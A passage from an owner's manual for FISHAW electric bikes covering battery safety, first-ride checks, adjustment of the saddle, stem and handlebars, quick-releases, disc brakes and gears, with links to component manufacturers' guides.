particular to the fork, the handlebars, the stem, the cranks, the seat post and the pedals. When in doubt, it is for your safety always the better choice to have these parts replaced. Contact your qualified bike mechanic for advice. ⚠️ Make it a rule to check the functioning and in particular the limit stop of the rear derailleur after a fall or if your FISHAW electric bike has toppled over. **ADDITIONAL INFORMATION FOR AFTER AN ACCIDENT** 1. Check the rechargeable battery. If the rechargeable battery is no longer properly secured in the frame, or shows any damage, do not use your FISHAW electric bike any longer, at least not in the assistance mode. Switch off the drive. A damaged battery can lead to a short-circuit resulting in a sudden failure of the FISHAW pedelec assistance. ⚠️ Damage to the outer housing of the rechargeable battery can result in water or moisture entry which can lead to short circuits or electric shocks. The rechargeable battery may catch fire or even explode! In such a case, contact FISHAW immediately. The battery must be replaced. 2. Check that all values are displayed properly and fully on the drive control display. Do not use your FISHAW electric bike if the drive control display shows an error message or a warning. Do not ride your FISHAW electric bike when the drive control display shows a warning. In such a case, contact FISHAW immediately. ⚠️ For more information see the operating instructions in the Display Manual for your model on our website: [https://fishaw.com/manual/](https://fishaw.com/manual/) **ADDITIONAL INFORMATION - BEFORE YOUR FIRST RIDE WITH YOUR FISHAW ELECTRIC BICYCLE.** 1. Have you ridden an electric bicycle before? Please note the riding characteristics of this revolutionary hybrid drive concept. **Set off for your first ride by selecting the lowest level of drive assistance!** Slowly approach the potential of your FISHAW electric bike in an area free of traffic. 2. The rechargeable battery of your FISHAW electric bike must be charged before you set off for the first time. Are you familiar with the handling and mounting of the rechargeable battery? Before you set off for the first time, check whether the battery is properly in place and that it is locked into place with the key. Please keep your keys in a safe place, as you will not be able to remove your battery if they are lost. **Replacement keys are expensive to replace, and lost keys are not covered by warranty.** The functions of your FISHAW electric bike are operated by the buttons on the drive control panel on the handlebars. Are you familiar with all functions and displays? Check whether you know the functions of all buttons before setting off on your first ride. For more information see the Drive System instructions in the Display Manual for your specific e-bike model. Found in the footer section on our website at fishaw.com **Drive System (Display) Manuals:** [https://fishaw.com/manual/](https://fishaw.com/manual/) Choose the Display/Drive Manual for your model. 4. Your FISHAW electric bike model has Walk Assist. This pushing aid provides assistance during pushing your FISHAW electric bike. Are you familiar with the walk assist function? Information in the Drive/Display Manuals: https://fishaw.com/manual/ ⚠️ When mounting your FISHAW electric bike make sure not to step on the pedals until you sit in the saddle and grip the handlebars tightly, and that one pedal is at the lowest position when you get on. The motor assistance might switch on suddenly if an assistance level is already selected. This could result in an uncontrolled start of your FISHAW electric bike. Risk of an accident! ⚠️ Charge your battery only on a non-flammable surface and only in dry rooms which have a smoke or a fire detector, but not in your bedroom. Place the battery during the charging process on a big, non-flammable plate made of ceramics or glass! Unplug the battery once it has been charged. ⚠️ Charge your battery only with the supplied charger. Do not use the charger of any other manufacturer, not even when the connector of the charger matches your rechargeable battery. The rechargeable battery can heat up, catch fire, or even explode! ⚠️ Do not park your FISHAW electric bike in the blazing sun. ⚠️ The weight distribution on your FISHAW electric bike differs markedly from the weight distribution on bikes without drive assistance. A FISHAW electric bike is markedly heavier than a bike without drive assistance. For this reason, parking, pushing, lifting, and carrying the FISHAW electric bike is more difficult. Bear this in mind when loading your electric bike into a car and unloading it or when mounting it on a bicycle carrier system. Removing the battery will decrease the weight of your e-bike for moving it. ⚠️ Be aware that the brakes of your FISHAW electric bike are always more effective than the drive/motor. If you face any problems with your drive (e.g., because it pushes you forward in front of a bend), slow down your FISHAW electric bike carefully. ⚠️ Before towing a trailer with your FISHAW electric bike, check with the trailer manufacturer that it is suitable to be used with your FISHAW electric bike model. ⚠️ Before mounting a child seat, make sure it is compatible with your FISHAW electric bike model. Check with the child-seat manufacturer. ⚠️ Please note that all FISHAW electric bikes are fitted with kickstands. Therefore, when parking your FISHAW electric bike, make sure it stands safe and secure and is not at risk of toppling over or being knocked over. If your FISHAW electric bike topples over, it may be damaged. FIRST RIDE-CHECKLIST Your FISHAW electric bike has undergone numerous tests during production and a final check has been carried out before shipping your bike to you. Nevertheless, be sure to check the following points to exclude any malfunctioning that may be due to the transport of your FISHAW electric bike before delivery and after self-assembly: 1. Are the quick-release levers or bolted connections of the front and rear wheel, the seat post and other components properly closed? For more information see the chapter “How to use the quick-releases” and the instructions of the component manufacturers on their respective websites. 2. Are the tyres in good condition and do they have enough pressure? A higher pressure gives better riding stability and reduces the risk of a puncture. The minimum and maximum pressure (in bar or PSI) is indicated on the side of the tyre. For more information see the chapter “The Wheels and the Tyres” and the instructions of the component manufacturers on their respective websites. 3. Spin the wheels to check whether the rims are true. For disc brakes, watch the gap between frame and rim of tyre. Untrue rims can be an indication of tyres with ruptured sides, broken axles, or spokes. For more information see the chapter “The Wheels and the Tyres” and the instructions of the component manufacturers on their respective websites. 4. Test the brakes while the bike is stationary by firmly pulling the brake levers towards the handlebars. Make sure you cannot pull the brake levers all the way to the handlebars and check the hydraulic brake cables for leaks! Check the thickness of the brake pads, as well. With disc brakes you should have a stable pressure point at once. If you have to operate the brake lever more than once to get a positive braking response, have the bike checked by your bicycle mechanic immediately. For more information see the chapter “The Brake System” and the instructions of the component manufacturers on their respective websites. 5. Let your FISHAW electric bike bounce on the ground from a small height. If there is any rattling, see where it comes from. Check the bearings and bolted connections, if necessary. Tighten them slightly, if necessary. 6. If you have a FISHAW electric bike with suspension, press down on your FISHAW bike and see whether the spring elements retract and extend as usual. For more information see the chapters “Suspension Forks” and the instructions of the component manufacturers on their respective websites: RST: https://rstuspension.com/en/forks SUNTOUR: https://www.srsuntour.com/fileadmin/user_upload/Downloads/Consumer/Bike/Owners%20manuals/General_Fork_Manual/EN_MY22_SUS_fork_user_manual-20210820.pdf 7. If your bike has a kickstand, make sure it is fully raised before you set off. Risk of an accident! 8. Do not forget to take a high-quality D- or chain lock with you on your ride. The only way to effectively protect your FISHAW electric bike against theft is to lock it to an immovable object. 9. If you want to ride on public roads, make sure your FISHAW electric bike is equipped according to the applicable regulations of your country. Riding without lights and reflectors in dark or dim conditions is very dangerous because you will be seen too late or not at all by other road users. A lighting set that corresponds to the regulations is a must on public roads. Turn on the lights as soon as dusk sets in. The UB400, UB600, M300 and M500 have intuitive lights that will switch on according to the light sensitivity that is set in your Drive (Display) System settings. ⚠️ Improperly closed fastenings, e.g., quick releases, can cause parts of your FISHAW bike to come loose. This can result in a serious accident! It is very important to check the quick release after any accident, to make sure the lever has not been moved to the unlocked position! ⚠️ Be aware that the distance you need to stop your bike increases, when you are riding with your hands, on bar ends or on multi-position handlebars. The brake levers are not always within easy reach. ⚠️ Do not use your FISHAW electric bike, if it fails at any one of these pre ride check points! A defective FISHAW electric bike can lead to serious accidents! If you are in doubt or if you have any questions, contact FISHAW or your qualified bicycle mechanic. For more information see the chapter on “The Battery” 2. Do the display on the control element and the cycle computer on the handlebars show all the values? Is there any error message or warning on the display? Check the values are correct before every ride. Do not set off on your FISHAW electric bike under any circumstances if the control element shows a warning! For more information see the chapter on “The Battery”. 3. Is the battery correctly fitted into the frame and the lock properly locked? Never set off with a loose and unlocked battery. ⚠️ During use, your FISHAW bike is undergoing stress resulting from the surface of the road and from the rider’s actions. Due to these dynamic loads, the different parts of your bike react with wear and fatigue. Please check your FISHAW bike regularly for wear marks, scratches, deformations, colour changes and any indication of cracking. Components which have reached the end of their service life may break without previous warning. Maintain and service your FISHAW electric bike regularly. In cases of doubt, it is always best to replace components. ADDITIONAL INFORMATION BEFORE YOUR FIRST RIDE ON YOUR FISHAW ELECTRIC BIKE. 1. Are the connections of the rechargeable battery, the drive control panel or the command console and the drive correctly connected? 4. Are the tyres in good condition and do they have sufficient pressure? Please note that an electric bicycle weighs more and that your usual tyre pressure may be insufficient. A higher pressure gives better riding stability and reduces the risk of a puncture. The minimum and maximum pressure (in bar or PSI) is indicated on the tyre side. For more information see the chapter “The Wheels and the Tyres”. ⚠️ Do not use your FISHAW electric bike, if it fails on any one of these points! Riding a defective FISHAW electric bike can result in serious accidents! If you are in doubt or if you have any questions, contact FISHAW. ADJUSTMENTS OF YOUR E-BIKE TO THE RIDER By choosing a specific type of bike you roughly determine the posture you will be riding in. However, some components of your FISHAW bike are especially designed so that you can adjust them to your body proportions up to a certain degree. This includes the seat post, the handlebars, and the stem as well as the brake levers. As all adjustments require know-how, experience, suitable tools, and skills, you should restrict yourself to adjusting your seating position and handlebars. Contact your bicycle mechanic if you are not happy with your seating position or if you want something changed. After any adjustment/assembly work, be sure to make a short functional check as described in the chapter “Before Every Ride” and do a test ride on your FISHAW electric bike in an area free of traffic. ⚠️ All tasks described in the following require the know-how of a mechanic and appropriate tools. Make it a rule to tighten the bolted connections always with the greatest attention. Increase the torque values bit by bit and check the fit of the component in between. Use a torque wrench and never exceed the maximum torque values! You will find the prescribed values directly on the components and/or in the operating instructions of the component manufacturers on their respective websites or contact your bicycle mechanic. ⚠️ The seating position depends mostly on how you want to use the FISHAW electric bike. ⚠️ If sitting on the saddle causes you trouble, e.g., because it numbs your crotch, this may be due to the saddle. Your FISHAW electric bike has a wide range of saddles available, and we have designed our bikes with the most comfortable saddle for the intended purpose of your FISHAW model. ADJUSTING THE SADDLE TO THE CORRECT HEIGHT The correct saddle height depends on the length of your legs. When pedalling, the ball of your foot should be positioned above the centre of the pedal axle. With your feet in this position, you should not be able to stretch your legs completely straight at the lowest point, otherwise your pedalling will become awkward. Check the height of your saddle with flat-soled shoes. This is best done with suitable cycling shoes. Sit on the saddle and put your heel on the pedal at its lowest point. Your leg should be fully stretched, and your hips should remain horizontal. To adjust the saddle height, loosen the quick-release lever (see the chapter “How to use the Quick-Releases”). Now you can perform the vertical adjustment of the seat post. Be sure not to pull out the seat post too far. The mark on the seat post (max., min., stop or the like) should always remain within the seat tube. Always grease the surface of an aluminium seat post that is inserted into a seat tube made of aluminium. Align the saddle with the frame by using the saddle nose and the bottom bracket or top tube as a reference point. Clamp the seat post tight again by closing the quick-release, as described in chapter “How to use the Quick-Releases”. Check in between that the seat post is sufficiently tight by taking hold of the saddle at both ends and then trying to rotate the seat post inside the seat tube. If it does rotate, gently retighten the seat post clamp and do the check again. Does the leg stretch test now produce the correct result? Check by moving your foot and pedal to the lowest point. When the ball of your foot is exactly above the pedal centre in the ideal pedalling position, your knee should be slightly bent. If this is the case, the saddle height is adjusted to the correct height. **⚠️ Never ride your bike with the seat post drawn out beyond the limit, maximum, or stop mark! The seat post might break or cause severe damage to the frame. In the case of frames with seat tubes that extend beyond the top of the frame’s top tube the seat post should be inserted into the seat tube at least below the bottom of the top tube and below the top of the rear stays! If seat post and frame require different minimum insertion depths, you should opt for the deeper insertion depth.** **⚠️ If the seat post does not move easily inside the seat tube or if it cannot be tightened sufficiently, ask your bicycle mechanic for advice. Do not use brute force!** **⚠️ Tighten carefully by approaching the prescribed maximum torque value in small steps (0.5 Nm increments) and check the proper fit of the component in between. Never exceed the maximum torque value indicated by the manufacturer.** **ADJUSTING THE HEIGHT OF THE HANDLEBARS** The height of the handlebars compared to the saddle and the distance between saddle and handlebars determines how much your upper body will be inclined forward. Lowering the handlebars gives you a streamlined position and brings more weight to bear on the front wheel. However, it also entails an extremely forward leaning posture which is tiring and less comfortable, because it increases the strain on your wrists, arms, back, upper body and neck. FiSHAW has 2 different stem systems that allow adjustment of the handlebars, i.e., the adjustable and the Aheadset®-stem. These systems require special knowledge. In this regard, the descriptions hereafter may be incomplete. If you are in doubt or if you have any questions, contact your qualified bicycle mechanic or your FiSHAW customer service representative. **⚠️ The stem is one of the load bearing parts of your FiSHAW electric bike. Changes to it can impair your safety. If you are in doubt or if you have any questions, contact FiSHAW or your bicycle mechanic.** These routines require a certain amount of manual skill and (special) tools. Ask your bicycle mechanic to explain to you both function and adjustment of your stem or let them do that work. ⚠️ The bolted connections of the stem and handlebars must be tightened to the prescribed torque values. If you disregard the prescribed values, the handlebars or stem may come loose or break. We recommend only allowing a qualified bicycle mechanic to perform any adjustments. ⚠️ Stems come in very different lengths and shaft and binder tube diameters. A stem of inappropriate dimension can become a source of danger: Handlebars or stems can break, resulting in an accident. When replacing any parts, be sure to only use parts that bear the appropriate mark and, to be on the safe side, original spare parts. Your FISHAW customer service representative will be pleased to help you. ⚠️ Make sure the handlebar clamping area is free of sharp edges. Make sure the handlebar/stem combination is approved to be used together. **Conventional Stems** Handlebars with conventional stems allow limited vertical adjustment. This is done by moving the stem up or down inside the fork steerer tube. The UB200 Urban model has a conventional stem. Release the expander bolt by two to three complete turns. The stem should now turn freely inside the fork. If it does not, release the bolt by tapping it gently with a rubber hammer. With Allen bolts you need to stick the Allen key into its head, first, as it is normally countersunk and therefore impossible to be hit directly. Now you can move the handlebar/stem unit up and down as a whole. Be sure not to pull out the stem too far. The mark on the stem (end, min, max, stop, limit or the like) should always remain within the tube. Setting the stem to a lower position can only add to your safety! Realign the handlebars with the front wheel. Retighten the expander bolt with the correct size Allen key. Tighten carefully and check the proper fit of the component in between. Never exceed the maximum torque value indicated by the manufacturer! You will find the prescribed values, directly on the components and/or in the operating instructions of the component manufacturers on their respective websites. Check the seat of the stem by taking the front wheel between your legs and trying to turn the handlebars and stem relative to the wheel. If there is movement, you must tighten the expander bolt. If the handlebars are still too high or too low, you can replace the stem. This can be quite a big job, as it may mean taking off and remounting all the fittings on the handlebars. Ask your FISHAW customer service representative or your bike mechanic for advice about the different types of stems. ⚠️ Never ride a FISHAW electric bike with a stem that has been drawn out beyond the mark for the maximum permissible height! Check all bolted connections and test your brakes before you set off in an area free of traffic! ⚠️ Never try to unscrew the top race of the headset when you only want to adjust the stem, as you will otherwise alter the bearing play! Adjustable Stems There are various solutions for adjusting the tilt of the front part of adjustable stems: Some designs use bolts on the sides of the joint, others have bolts coming from above or below, and others again are equipped with additional locking mechanisms of adjusting bolts. For more information see the Assembly Instructions for your model found on our website: www.fishaw.com Stems and handlebars must be tightened to their specified torques. If you disregard the prescribed values, the handlebars or stem may come loose or break. Use a torque wrench and observe the minimum and maximum torque values! You will find the prescribed values directly on the components and/or in the operating instructions of the component manufacturers on their respective websites. ⚠️ The bolted connections of adjustable stems and handlebars must be tightened to their specified torque values. If you disregard the prescribed values, the handlebars or stem could become loose or break. Keep in mind that readjusting the position of the stem changes the position of handlebars, brake levers and shifters. Readjust these components, as described in the chapter “Adjusting the Tilt of the Handlebars and Brake Levers” and/or in the instructions of the component manufacturers on their respective websites. Stems for Threadless System – Urban/MTB FISHAW electric bikes with Aheadset® headsets, the stem also serves to adjust the bearing preload. If you change the position of the stem you must readjust the bearing play (see the chapter “The headset”) and the instructions of the component manufacturers on their respective websites. The vertical setting range is determined by the intermediate rings, also referred to as spacers. Unscrew the bolt at the top of the fork steerer tube which serves to adjust the initial bearing pressure, remove the Ahead cap and release the bolts on either side of the stem by up to three turns. Remove the stem and Spacers from the fork steerer tube. In doing so keep hold of both frame and fork to prevent the fork from slipping off the head tube. You can determine the handlebar height by the arrangement of stem and spacers. Slip the remaining spacers onto the fork steerer tube above the stem. Adjust the headset, as described in the chapter “The headset”. If you want to turn the stem around, you must also release the front bolts securing the handlebars. If the stem is fitted with a cap, you can simply take out the handlebars at this point. If it is not fitted with a cap, you must remove the handlebar fittings. Mount the handlebars and, if necessary, the handlebar fittings, as described in the chapter “Adjusting the Tilt of the Handlebars and Brake Levers” and/or in the instructions of the component manufacturers on their respective websites. Check whether the handlebars are firmly seated in the stem by trying to rotate the handlebars downwards. Verify whether the handlebar/stem unit can be twisted relative to the fork. Do this by taking the front wheel between your knees and trying to twist the handlebars. If there is movement, carefully tighten the bolts a little more and check again for correct fit. Tighten carefully by approaching the prescribed maximum torque value in small steps (0.5 Nm increments) and check the proper fit of the component in between adjustments. Never exceed the maximum torque value indicated by the manufacturer! Ask your bicycle mechanic to explain to you both function and adjustment of your stem or, better still, let them do that work. ⚠️ In the case of turned stems, it is possible that the cables are too short. In this case riding can be unsafe. If in doubt, ask your qualified bicycle mechanic. When removing spacers, the fork steerer tube must be shortened. This change is irreversible. The shortening should be carried out by a qualified bicycle mechanic, but only after you have found your preferred position. Keep in mind that readjusting the position of the stem changes the position of handlebars, brake levers and shifters. Readjust these components, as described in the chapter “Adjusting the Tilt of the Handlebars and Brake Levers”. CORRECTING the HORIZONTAL TILT of the SADDLE and the Forward to Back Position The distance between the grips of the handlebars and the saddle, influences the position of your upper body, which in turn influences your riding comfort and pedalling power. This distance can be altered slightly by changing the position of the saddle rails in the seat post clamp. However, this also influences your pedalling. Whether the saddle is positioned more to the front or to the back of the bike will alter how rearward the pedalling position of your legs is. ⚠️ You need to have the saddle horizontal to pedal in a relaxed manner. If it is tilted, you will constantly have to lean against the handlebars to prevent yourself from slipping off the saddle. ⚠️ Make sure the saddle is clamped within the range of the markings on the saddle rail. Otherwise, the saddle rail can fail! Check the bolts by using a torque wrench once a month according to the prescribed values. ⚠️ The setting range of the saddle is exceedingly small. The manufacturers of saddles deliver their products with detailed instructions. You will find these instructions on their respective websites. Selle Royal: https://www.selleroyal.com/sites/default/files/supportcyclists/docs/selle_royal_manual_usere n.pdf Read them carefully before adjusting the position of your saddle. If you are in doubt or if you have any questions, contact FiSHAW or your qualified bicycle mechanic. ADJUSTING SADDLE POSITION AND TILT With patent seat posts one central Allen head bolt secures the clamping mechanism, which controls the tilt and the horizontal position of the saddle. Release the bolt at the top of the seat post. Release the bolt two to three turns counter clockwise at the most, otherwise the whole assembly can come apart. Move the saddle back or forth, as desired. You may have to give the saddle a light tap to make it move. Please observe the markings on the saddle rail. Make sure the seat of the saddle remains horizontal as you retighten the bolt. **Your FISHAW electric bike should stand on level ground while you adjust the saddle.** Having found your preferred position, make sure both clamp halves fit snugly around the saddle rails before tightening the bolt to the correct torque value as prescribed by the seat post manufacturer. Retighten the bolt with a torque wrench according to the instructions of the manufacturer. **After fastening the saddle, check whether it resists tilting by bringing your weight to bear on it once with your hands at either end of the saddle.** **Poorly tightened or loosening bolts can fail. Risk of an accident!** Once a month check the bolts by using a torque wrench according to the values indicated directly on the components and/or in the instructions of the component manufacturers website. **Be aware that the distance you need to stop your bike increases, when you are riding with your hands-on bar ends or on multi-position handlebars. The brake levers are not always within easy reach.** **Never fix bar ends in vertical position or with their ends pointing rearwards as this would increase the risk of injury in the event of an accident.** **ADJUSTING the TILT of the HANDLEBARS and BRAKE LEVERS** Adjusting the brake lever reach on FiSHAW Urban, Trekking, Folding and Mountain Bikes. With most brake systems the distance between the handlebar grips and the brake levers is adjustable. This makes it more convenient and easier to reach for riders with small hands to operate, by bringing the brake levers closer to the handlebars. On most models there is a small adjusting screw on the brake lever. When adjusting the lever reach, make sure the first phalanx of the index finger reaches around the brake lever. Check the proper adjustment and functioning of the brake system as described in the chapter, “The Brake System” in this manual. **Make sure you cannot pull the brake levers all the way to the handlebars. You should reach the maximum braking force short of this point.** **Adjusting the Tilt of the Handlebars** Set the handlebars to a position where your wrists are relaxed and not turned outwards too much. Release the Allen bolts at the bottom or front side of the stem. Turn the handlebars to the desired position. Make sure the handlebars are accurately centred in the stem. Carefully retighten the bolt(s) with the torque wrench. Make sure the upper and lower clamping slots of the stem are parallel and the same width. If you have a stem with several bolts, tighten them evenly in a cross pattern by using a torque wrench and observe the recommended torque values on the component or on the manufacturers corresponding websites. Try rotating the handlebars once they are clamped into the stem and tighten the bolt(s) a little more if needed. After any adjustments to the handlebars, you need to adjust the brake levers/gear shifter levers. Release the Allen bolt at either lever attachment. Turn the levers relative to the handlebars. Sit in the saddle and place your fingers on the brake levers. Check if the back of your hand forms a straight line with the line of your forearm. Retighten the levers with a torque wrench and perform a “twist test”. The brake levers should not be so tight that they will never move. In case of an accident, causing you to fall off your bike, it is an advantage when the brake levers can be turned. ⚠️ Tighten the bolts at the stem until the clamping slots between the stem body and faceplate are parallel and the same width at the top and the bottom. Tighten the bolts evenly in a cross pattern, ie., alternately and gradually. 2. The tightening nut on the other side of the hub with which the preload on the threaded rod (quick-release axle) is set. ⚠️ Do not touch the brake disc directly after having stopped, e.g., after a long down-hill ride, you may burn your fingers! Always let the brake disc cool down before opening the quick-release. ⚠️ Never ride a FISHAW electric bike without having checked first whether the wheels are securely fastened. With an insufficiently closed quick-release the wheel can come loose, creating a serious risk of accident! ⚠️ Your FISHAW electric bike is equipped with quick-releases, be sure to lock the frame to an immovable object together with the wheels when you leave it outside. HOW TO FASTEN COMPONENTS SECURELY WITH A QUICK-RELEASE Open the quick-release. You should now be able to read “Open” on the lever. Make sure the component to be fastened is in the accurate position. For more information see the chapters “Adjustments of Your E-Bike to Suit the Rider” and “The Wheels and the Tyres” and the instructions of the component manufacturers on their respective websites. Move the lever back, as if to close it. Now you should be able to read “Close” on the outside of the lever. When you start closing the lever you should feel virtually no resistance with your hand until the lever is at a right angle to the frame/fork. When continuing to close the lever the resistance you feel should increase significantly and towards the end, even more strength is required to close the lever. **Use the ball of your thumb while your fingers pull on an immovable part, such as the fork or a rear stay, but not on a brake disc or spoke, to push it in all the way.** In its end position, the lever should be at a right angle to the quick-release axle, i.e., it should not stand out. The lever should lie close to the frame or the fork so that it cannot be opened accidentally. Make sure, however, that the lever is easy to handle for actual quick use. To check whether the lever is securely locked apply pressure to the end of the hand lever and try to turn it while it is closed. If you can turn the lever around, open it and increase the preload. Screw the tightening nut on the opposite side clockwise by half a turn. Close the quick-release lever and check it again for tightness. Finally lift the bike a few centimetres, so that the wheel no longer touches the ground, and hit the tyre from above. If it is properly fastened, the wheel will remain firmly fixed in the dropouts of the frame or fork without producing any rattling. If your seat post is equipped with a quick-release mechanism, check whether the saddle is firmly fixed by trying to twist it relative to the frame. **BRAKING SYSTEMS** Brakes are used to adjust your speed to the surrounding terrain and traffic. In an emergency situation, the brakes must bring your FISHAW e-bike to a halt as quickly as possible. In the event of such emergency braking, the rider's weight shifts forward abruptly, thus reducing the load on the rear wheel. The rate of deceleration is primarily limited by the danger of the rear wheel losing contact with the ground, resulting in an overturning of the FISHAW electric bike and, secondly, by the grip of the tyres on the road. This problem becomes particularly acute when riding downhill. Therefore, in case of any emergency braking, you should try to shift your weight towards the rear and the ground as far as possible. Operate both brakes simultaneously and bear in mind that, due to the weight transfer, the front brakes can generate a far better braking effect on a surface with good grip. The braking conditions on unpaved surfaces differ, i.e., over-braking the front wheel can make the wheel slip away. Make yourself familiar with the operation of your brakes before you set off for the first time. Practice braking on different kinds of surfaces in an area free of traffic. There are various types of brake systems that may be subject to the following problems: With disc brakes, prolonged braking or permanent dragging of brake pads can also lead to an overheating of the brake system. This can result in a reduction of the braking force or even brake failure. **Risk of an accident!** When riding downhill, get used to braking hard and then releasing the brake again, whenever the road surface and the situation allows for it. If you are in doubt about the braking action, stop and let the brake system cool down. ⚠️ The assignment of the brake lever to brake calliper can vary, e.g., left lever acts on front brake. On your FISHAW E-Bike, the right brake lever operates the rear brake, and the left brake lever operates the front brake. FiSHAW has chosen to not cross the brake cables across the headtube, this prevents problems with stretching or breaking the hydraulic brake cable when the handlebars are turned full lock to the right side. This is the ideal set up for disc brakes as the disc and calliper are on the left-hand side of the wheel. Electric bikes have a lot more cables to contend with in their design and manufacturing, so having the brake lever on the same side, prevents the above-mentioned problems occurring. This was not an issue before disc brakes became more accessible, as it is not an issue for rim brakes. ⚠️ Be careful while getting used to the brakes. Practice emergency stops in a place clear of traffic until you are comfortable controlling your FISHAW e-bike. This can save you from having accidents when you ride in road traffic. ⚠️ Wet weather reduces the braking effect and the road grip of the tyres. Be aware of longer stopping distances when riding in the rain, reduce your speed and operate the brakes carefully. ⚠️ Ensure that braking surfaces and brake pads are completely free of wax, grease, and oil. Risk of an accident! When replacing any parts, be sure to only use parts that bear the appropriate mark and, to be on the safe side, original spare parts. Refer to the instructions of the component manufacturers on their respective websites before you start to readjust or to service the brake or before doing any work whatsoever. If you are in any doubt, contact your bicycle mechanic to perform these tasks. DISC BRAKES FUNCTIONING AND WEAR The most striking feature of disc brakes is their outstanding braking effect. They respond a lot faster in wet conditions than rim brakes do and achieve their normal high braking power within a noticeably shorter time. They require little maintenance and do not wear down the rims as rim brakes do. Disc brakes consist of the brake calliper, the rotor, the brake lines, or cables as well as the brake lever unit. Operating the brake lever compresses the hydraulic pistons through hydraulic pressure or mechanically, pushing the brake pads against the rotor. The friction generated by braking causes wear to the brake pads as well as to the rotors. Frequent rides in the rain and dirt and over hilly terrain can accelerate wear on both braking surfaces. Depending on the manufacturer and the model there are different ways of checking the brake pads and rotors for their wear limits. ⚠️ New brake pads must be broken in until they reach their optimal braking power. Accelerate your FISHAW electric bike about 30 to 50 times to around 25 k/h and bring it to a halt each time. This procedure is finished when the force required at the lever for braking has stopped decreasing. FUNCTIONAL CHECK ⚠️ Disc brakes get hot in use. For this reason, do not touch the rotors directly after stopping, especially after a long downhill ride. ⚠️ Dirty brake pads and rotors can lead to drastically reduced braking force. Therefore, make sure the brake remains free of oil and other fluids, especially when you clean your FISHAW electric bike or grease the chain. Dirty brake pads cannot be cleaned under any circumstances, they must be replaced! Rotors can be cleaned with special brake cleaners or with warm water and mild soap. Unusual noises (scratching, chafing etc.) during braking and/or a noticeable change of the braking force (stronger or weaker) are signs that the brake pads are dirty or worn down. Check the brake pads and replace them, if necessary. Otherwise, you risk further damage, e.g., to the rotor, or even an accident due to brake failure! If you are in doubt, contact your bicycle mechanic. WEAR AND MAINTENANCE Check the pads for wear at regular intervals by following the operating instructions of the respective manufacturer. Disc Brake Pad Replacement: https://www.youtube.com/watch?v=YHhKDNhZEpE&list=PLo_l1469gkJ21Ray6BLlbpRWF9Af8uZF&ab_channel=TEKTROTW UB400/UB600/F30/M300/M500 MODELS: Product Information: https://www.tektro.com/upload/Product/F_20150915093971Rwrqel.PDF How to Align a Hydraulic Disc Brake https://www.youtube.com/watch?v=uk_nC9anQcM&ab_channel=ParkTool How to Fix a “Soft” Brake Lever: https://www.youtube.com/watch?v=xWkZ5ePn2hk How to Bleed Hydraulic Brakes: https://www.youtube.com/watch?v=cS0pBCBT65g Loose connections or leaky brake lines drastically impair the braking effect. If you find leaks in the brake system or kinked lines, contact your electric bicycle mechanic immediately! Do not open the brake lines. Brake fluid can be very unhealthy and damage the paint if it leaks out. Read the instructions of the brake manufacturer fully before removing the wheel or doing any maintenance work. Improper operation can lead to brake failure. If in any doubt make sure a qualified bicycle mechanic does any work on your brakes. **FUNCTIONAL CHECK** The more the brake pads of mechanical disc brakes wear down, the longer the brake lever travel. Regularly check whether you get a positive braking response before the lever touches the handlebars. Make sure the brake cables are in sound condition! Damaged cables should be replaced immediately, as they can snap. Risk of an accident! **WEAR AND MAINTENANCE** To a certain extent, the wear of the brake pads can be compensated for directly at the brake lever. Unscrew the Knurled lock nut on the bolt through which the cable enters the grip and then unscrew the bolt until the lever has the desired travel. Retighten the tock nut by taking care that the slit of the bolt head does not face upward or forward, as this would permit an unnecessarily high amount of water or dirt to enter. After readjusting check, the functioning and make sure the brake pads do not drag when releasing the brake lever and spinning the wheel. Repeated readjustment at the brake lever makes the arm on the brake calliper change its position. This can make the brake less effective and result in a complete brake failure in an extreme case. Risk of an accident! Repeated readjustment at the brake lever can drastically reduce the maximum braking effect. Read the instructions of the brake manufacturer on their respective websites carefully before removing the wheel or doing any maintenance work. **UB200 MODEL:** [https://www.tektro.com/upload/Product/F_201509151015859uWPB9.PDF](https://www.tektro.com/upload/Product/F_201509151015859uWPB9.PDF) *How to Align a Mechanical Disc Brake* [https://www.youtube.com/watch?v=NmqGelNcVlg&ab_channel=ParkTool](https://www.youtube.com/watch?v=NmqGelNcVlg&ab_channel=ParkTool) ⚠️ Improper operation can lead to brake failure. If in any doubt of your ability, only use a qualified bicycle mechanic to work on your brakes. **GEARS** **DERAILLEUR GEARS** The gears of your FISHAW electric bike serve to adjust the gear ratio to the terrain you are riding on and the desired speed. A low gear (where in the case of derailleur gears the chain runs on the small chainwheel and a large sprocket) allows you to climb steep hills with moderate pedalling force. You must, however, pedal at a faster pace. High gears (large chainwheel, small sprocket) are for riding downhill. Every turn of the pedals takes you many metres forward at correspondingly high speed. When riding your FiSHAW pedelec, reduce the cadence and the pedalling force shortly before you start shifting. If you continue pedalling forcefully, the high chain forces could result in a chain failure. ⚠️ Continue pedalling at reduced cadence during gear shifting, however, at clearly reduced pedalling force. In particular when shifting through the chainwheels continue pedalling slowly and without force. ⚠️ Practice shifting gears in a place free of traffic until you are familiar with the functioning of the gear levers of your FiSHAW electric bike. FiSHAW pedelecs have only one chainwheel. As a consequence, there is no front derailleur and no shifter on the left handlebars. Read the gear manufacturer’s operating instructions on their respective websites. **Shimano Products General Manual:** [https://si.shimano.com/api/publish/storage/pdf/en/dm/GN0001/DM-GN0001-24-ENG.pdf](https://si.shimano.com/api/publish/storage/pdf/en/dm/GN0001/DM-GN0001-24-ENG.pdf) **UB200|UB400|UB600|F30 MODELS:** [https://si.shimano.com/pdfs/um/UM-00J0A-001-0R-ENG_FRE.pdf](https://si.shimano.com/pdfs/um/UM-00J0A-001-0R-ENG_FRE.pdf) [https://si.shimano.com/pdfs/si/SI-6BLRA-002-ENG.pdf](https://si.shimano.com/pdfs/si/SI-6BLRA-002-ENG.pdf) FUNCTIONING AND OPERATION Derailleur gears always work according to the following principle: Large chainwheel (front) — heavy gear — bigger transmission. Small chainwheel (front)— easy gear - smaller transmission. Large sprocket (rear) - easy gear — smaller transmission - Small sprocket (rear)- heavy gear - bigger transmission. The bottom bracket is the interface between cranks and frame. There are different designs, in some cases the bearing spindle is part of the bottom bracket, in some other cases it is integrated into the right crank. Sealed bottom brackets are maintenance free and delivered without play ex works. **The bottom bracket in the frame must be checked for play at regular intervals.** Also check at regular intervals whether the cranks are firmly attached to the bearing spindle or whether there is play. Grab the crank and try to jiggle it forcefully. It must be totally free of movement. If you notice any play, contact your electric bicycle mechanic immediately. Depending on the gear system, gear shifting is initiated by operating a shifter, or by a short turn of the wrist with twist grips. **Continue pedalling during gear shifting, however, with reduced pedalling force.** Please find below the principles of the shift lever types and their operation. It is, however, also 